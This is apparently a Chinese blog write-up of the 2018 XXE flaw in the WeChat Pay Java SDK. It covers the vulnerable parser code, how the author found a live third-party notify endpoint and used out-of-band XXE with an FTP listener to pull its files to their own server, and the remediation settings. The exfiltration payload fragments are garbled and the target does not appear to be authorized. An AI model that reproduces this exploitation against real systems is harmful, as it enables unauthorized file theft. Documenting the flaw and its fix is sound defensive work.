微信支付SDK JAVA版今天曝出了XXE漏洞,主要原因是在使用DOM处理回传的XML格式的支付结果通知时,未禁用外部实体、参数实体、内联DTD等,导致存在XXE漏洞。
0x01 原理分析
作者原文分析提到在看微信支付JAVA SDK的说明文档时,发现了结果通知代码示例:
import com.github.wxpay.sdk.WXPay;
import com.github.wxpay.sdk.WXPayUtil;
import java.util.Map;
public class WXPayExample {
public static void main(String[] args) throws Exception {
String notifyData = "...."; // 支付结果通知的xml格式数据
MyConfig config = new MyConfig();
WXPay wxpay = new WXPay(config);
Map notifyMap = WXPayUtil.xmlToMap(notifyData); // 转换成map
if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
// 签名正确
// 进行处理。
// 注意特殊情况:订单已经退款,但收到了支付结果成功的通知,不应把商户侧订单状态从退款改成支付成功
}
else {
// 签名错误,如果数据里没有sign字段,也认为是签名错误
}
}
}
其中notifyData是攻击者可控的,再看微信支付JAVA SDK中的WXPayUtil.xmlToMap()方法,代码片段如下:
public class WXPayUtil {
public static Map xmlToMap(String strXML) throws Exception {
try {
Map data = new HashMap();
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
//未使用setFeature()方法来禁用外部实体、参数实体、内联DTD等。
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for (int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == Node.ELEMENT_NODE) {
org.w3c.dom.Element element = (org.w3c.dom.Element) node;
data.put(element.getNodeName(), element.getTextContent());
}
}
try {
stream.close();
} catch (Exception ex) {
// do nothing
}
return data;
} catch (Exception ex) {
WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
throw ex;
}
}
外部实体可控,攻击者通过向notify_url提交恶意的实体内容notifyData,支付结果处理server对XML数据进行处理的时候导致了漏洞的产生。
0x02 测试方法及利用
该支付SDK在生成订单的时候,会向api.mch.weixin.qq.com提交notifyurl参数,通过抓包有可能获取notifyurl参数的值。为了测试这个漏洞,使用appscan.io搜索关键字,下了n个app,在支付生成订单的时候,进行抓包,能够看到的请求:
POST /pay/unifiedorder HTTP/1.1
Accept: application/json
Content-type: application/json
Content-Length: 453
Host: api.mch.weixin.qq.com
Connection: close
wx3277506be60ee127750000游戏币购买获得750000游戏币1272031101acff1af62d0f91f4be73f485http://xxxxxx.com/callback4d2bd9e39af0ab27aeb7c16127.0.0.18000APPD0810374A618FF5FA84107
通过这种方法可以获取到notifyurl,装了很多app,最后发现大多都是微信支付php版的sdk。有部分app通过抓包是无法获取到notifyurl的,猜测反编译app之后可能会搜索到代码中配置的notify_url。不过简单反编译了几个,发现居然都加固了,并且都是同样的加固方式:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5COwIDNzcTY2czYmNjZhVzN1kDNzETNiRGMmFTNiRWYm9CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
从中午一直折腾到下午吃饭,还没有找到可以实战测试的线上app,也就放弃了用这种方式。最后只能耐心的翻github了,翻了大概200页github,找到了n多个地址,不过很多估计都是测试的地址,无法访问,能访问的居然也利用不成功。
吃完晚饭,放弃了去健身房撸铁的想法,继续翻github,再快要放弃的时候终于找到一个可以利用的。使用dnslog和俄罗斯OnSec实验室曾针对Java程序的XXE-OOB攻击作出了相关研究给出的payload,以及一个通过ftp服务读取系统目录的漏洞利用脚本xxe-ftp-server.rb提供的方式,都复现了:
POST /pay/WeixinNotify HTTP/1.1
HOST: api.xxxx.com
Accept: **
User-Agent: android_6.0_tencent_yingyongbao
Content-Length: 180
Content-Type: application/xml;charset=UTF-8
%aad;
%c;
]>
&rrr;
data.dtd的文件内容如下:
">
%c;
然后在自有服务器111.111.111.111上执行ruby脚本,就可以看到收到的读取的被攻击服务器上的目录和文件内容。如图:
xxe-ftp-server.rb文件的链接如下:
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
0x03 修复建议
在编写处理可能不受信任的来源的XML的软件时,要做到尽可能的安全,必须禁用一些XML功能,主要有:
DTD解释器,确保DOCTYPE标记被忽略或包含它们的文档被拒绝;
外部实体,如果DOCTYPE不能完全禁用,请确保引用的外部实体被拒绝;
schemaLocation,如果解析器包含这个属性,要确保任意文档不会被检索。
XIncludes,此功能应被禁用。
JAVA:
JAVA在使用DOM处理xml的时候,要用setFeature参数来禁用外部实体、参数实体、内联DTD等。示例如下:
//未捕获ParserConfigurationException 异常,仅参考
import javax.xml.parsers.DocumentBuilderFactory;
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
//修复方法1:不允许DTDS(DOCTYPE),优先选择的解决方案,几乎可以阻止所有的XML实体攻击
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
//修复方法2:
//true表示实现安全的处理XML,会对XML的结构进行限制,避免出现利用XXE进行文件读取的攻击行为
//如果设置为false,表示根据XML的规范处理XML,忽略安全问题
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);
//其它说明:如果没办法完全不允许DTDS,至少按照如下方法修复
//该feature的作用是配置是否包含参数实体,设置false禁用参数实体
//xerces 1:http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
//xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//该feature的功能指是否包含外部生成的实体,设置false禁用外部实体。
//利用外部实体的payload示例:
/*
]>
&xxe;
*/
//xerces 1:http://xerces.apache.org/xerces-j/features.html#external-general-entities
//xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-general-entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
//该feature的功能指是否包含外部DTD,设置false禁用外部Dtd
//xerces:http://xerces.apache.org/xerces-j/features.html#load-external-dtd
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);
feature表示解析器的功能,通过设置feature,可以控制XML解析器的行为,如是否对XML文件进行验证等。
PHP:
php的XML解析器,xmlparse和simplexmlload,xmlparse默认不会解析外部实体,simplexmlload需要自行设置,方法如下:
libxml_disable_entity_loader(true);
也可以使用OpenRasp来针对该XXE漏洞进行防护: https://rasp.baidu.com/
0x04 参考文档:
http://seclists.org/fulldisclosure/2018/Jul/3
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
修复建议应该是之前在查资料总结的,针对XXE漏洞的修复方法,可能有不准确的地方。至于微信支付java SDK的这个漏洞,直接使用官方的修复后的版本就可以了。
最后编辑:2018-07-10作者:admin
这个作者貌似有点懒,什么都没有留下。